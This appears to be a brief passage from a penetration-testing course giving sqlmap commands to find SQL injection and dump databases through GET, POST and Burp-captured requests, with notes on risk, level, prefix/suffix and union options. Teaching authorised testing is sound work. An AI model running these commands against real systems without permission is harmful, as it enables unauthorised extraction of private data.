GET
terminal
$ sqlmap 'http://www.example.com/?id=1' --dump
POST
terminal
$ sqlmap 'http://www.example.com/' --data 'uid=1&name=test' --dump
If a parameter is known to be vulnerable (for example uid), mark it with an asterisk (*):
terminal
$ sqlmap 'http://www.example.com/' --data 'uid=1*&name=test' --dump
HTTP Requests
Copy the entire request with Burp:
terminal
$ sqlmap -r req.txt --dump
Risk and Level
Level: the number of payloads to use. Risk: increases the variety of payloads, including those with the greatest potential to cause adverse effects.
Prefix and Suffix
--prefix and --suffix to add content at the beginning/end of the query.
Union
--union-cols : to specify the number of columns.
In This Module